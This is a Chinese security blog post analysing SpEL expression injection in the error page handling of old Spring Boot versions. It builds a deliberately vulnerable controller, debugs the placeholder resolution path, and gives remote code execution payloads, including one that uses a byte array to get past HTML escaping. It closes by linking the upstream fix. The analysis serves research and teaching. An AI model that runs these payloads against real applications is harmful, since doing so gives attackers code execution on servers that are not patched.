Spring Boot SpEL表达式注入

admin 2024年12月27日12:40:16评论9 views字数 11801阅读39分20秒阅读模式

文章前言

Spring表达式语言(Spring Expression Language,简称SpEL)是一种功能强大的表达式语言,它可以用于在Spring配置中动态地访问和操作对象属性、调用方法、执行计算等,SPEL的设计目标是让Spring应用程序中的bean配置和运行时操作更加灵活和可扩展,其语法和OGNL、MVEL等表达式语法类似,本篇文章主要用于填补JAVA安全系列中的SPEL表达式注入专题

漏洞描述

在SpringBoot的低版本中错误处理时由于编码错误导致SpEL表达式漏洞,影响范围为1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

环境构建

项目pom.xml中依赖如下所示:

  <dependencies>    <dependency>      <groupId>junit</groupId>      <artifactId>junit</artifactId>      <version>3.8.1</version>      <scope>test</scope>    </dependency>    <!-- https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web -->    <dependency>      <groupId>org.springframework.boot</groupId>      <artifactId>spring-boot-starter-web</artifactId>      <version>1.2.0.RELEASE</version>    </dependency>

编写一个controller

package org.spelstudy;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import java.io.IOException;@Controllerpublic class SpELSecController {    @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})    public String index(String string) throws IOException {        throw new IllegalStateException(string);    }}

Spring Boot SpEL表达式注入

运行项目并传递SpEL表达式可以看到成功执行:

Spring Boot SpEL表达式注入

调试分析

我们在上面简易测试的基础上构造如下payload:

string=${new java.lang.ProcessBuilder("calc").start()}

Spring Boot SpEL表达式注入

执行之后并没有我们预期的弹出计算器而是在控制台抛出了一大推的错误信息:

Spring Boot SpEL表达式注入

调用栈如下所示:

2024-12-03 17:17:24.735 ERROR 16580 --- [nio-8080-exec-9] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet dispatcherServlet threw exceptionorg.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'  at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)  at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)  at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)  at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)  at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)  at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)  at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)  at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)  at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)  at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)  at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)  at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)  at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)  at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)  at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)  at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)  at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)  at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)  at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)  at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842)  at javax.servlet.http.HttpServlet.service(HttpServlet.java:725)  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:291)  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)  at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:721)  at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:468)  at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:391)  at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:318)  at org.apache.catalina.core.StandardHostValve.custom(StandardHostValve.java:433)  at org.apache.catalina.core.StandardHostValve.status(StandardHostValve.java:299)  at org.apache.catalina.core.StandardHostValve.throwable(StandardHostValve.java:393)  at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:174)  at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79)  at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88)  at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:537)  at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1085)  at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:658)  at org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler.process(Http11NioProtocol.java:222)  at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1556)  at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1513)  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)  at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)  at java.lang.Thread.run(Thread.java:748)2024-12-03 17:17:24.737 ERROR 16580 --- [nio-8080-exec-9] o.a.c.c.C.[Tomcat].[localhost]           : Exception Processing ErrorPage[errorCode=0, location=/error]org.springframework.web.util.NestedServletException: Request processing failed; nested exception is org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'  at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:978)  at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)  at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)  at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842)  at javax.servlet.http.HttpServlet.service(HttpServlet.java:725)  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:291)  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)  at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:721)  at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:468)  at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:391)  at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:318)  at org.apache.catalina.core.StandardHostValve.custom(StandardHostValve.java:433)  at org.apache.catalina.core.StandardHostValve.status(StandardHostValve.java:299)  at org.apache.catalina.core.StandardHostValve.throwable(StandardHostValve.java:393)  at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:174)  at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79)  at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88)  at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:537)  at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1085)  at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:658)  at org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler.process(Http11NioProtocol.java:222)  at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1556)  at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1513)  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)  at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)  at java.lang.Thread.run(Thread.java:748)Caused by: org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'  at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)  at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)  at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)  at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)  at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)  at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)  at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)  at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)  at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)  at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)  at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)  at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)  at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)  at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)  at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)  at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)  at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)  ... 26 common frames omitted

随后我们在org.springframework.web.servlet.DispatcherServlet.render渲染处理处下断点进行调试分析:

Spring Boot SpEL表达式注入

在这里会先获取View对象(从调试结果中可以看到实际上获取到的是Spring中自动处理错误的view对象-ErrorMvcAutoConfiguration$SpelView),在这里我们跟进一下view.render方法

Spring Boot SpEL表达式注入

这里检查响应的内容类型(Content-Type))是否为空,如果为空则调用getContentType()方法设置响应的内容类型,这通常用于指定返回内容的格式(例如:text/html, application/json等),随后创建一个新的HashMap实例,初始化时传入现有的model映射,紧接着将请求的上下文路径(即应用程序的根路径)添加到map中以便在渲染时使用,在this.helper.replacePlaceholders(this.template, this.resolver)中生成了错误页面,然后返回给result:

Spring Boot SpEL表达式注入

随后跟进paseStringValue方法

Spring Boot SpEL表达式注入

paseStringValue中我们可以重点关注一下这里的strVal

Spring Boot SpEL表达式注入

末尾的message前面的内容就是报错内容,这里的逻辑就是在返回的页面内容找到${,这一步其实就是为了找到需要替换的位置,为替换成后面的参数做准备,然后进入while循环中循环解析${xxx}的表达式,这里意思也很明显找到了需要替换的位置然后把具体的值替换到result中, 而result是StringBuilder类,所以替换其中的字符串自然要用replace方法,随后可以看到我们熟悉的SpEL表达式,而且是从context中获取message,而这也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法随后看到propVal是从palaceholder随后可以看到我们熟悉的SpEL表达式,而且是从context中获取message,而这也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法Resovler.resolvePlaceholder中获取的,我们紧接着再次跟进一下resolvePlaceholder方法

Spring Boot SpEL表达式注入

随后可以看到我们熟悉的SpEL表达式,而且是从context中获取message,而这也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法

Spring Boot SpEL表达式注入

这个方法的逻辑是遍历每个字符,然后根据convertToReference方法进行替换,随后将替换后的字符添加到最后的输出中,继续跟进一下convertToReference方法

Spring Boot SpEL表达式注入

从下面可以看到这里对单双引号、尖括号和&进行了转义操作

Spring Boot SpEL表达式注入

在propVal值为${2*2}时就会和之前的解析表达式流程一样再进行一次SPEL表达式解析

Spring Boot SpEL表达式注入

这里由于SpEL返回值时进行了一次HTML编码,所以导致取出的${message}值时会进行一次转义,由于不能出现单双引号,所以借助一些String类的特性——传入byte数组,得改之后的有效载荷如下:

#原先载荷string=${new java.lang.ProcessBuilder("calc").start()}#新的载荷string=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

Spring Boot SpEL表达式注入

修复方案

在高版本中处理传入的参数时不会循环根据${}去找值,从而避免了利用message获取到抛出的错误内容后将内容再根据${}取得其中的值丢给SpEL执行,从而消除了这种威胁

https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

Spring Boot SpEL表达式注入

参考连接

https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

原文始发于微信公众号(七芒星实验室):Spring Boot SpEL表达式注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月27日12:40:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Boot SpEL表达式注入https://cn-sec.com/archives/3559400.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息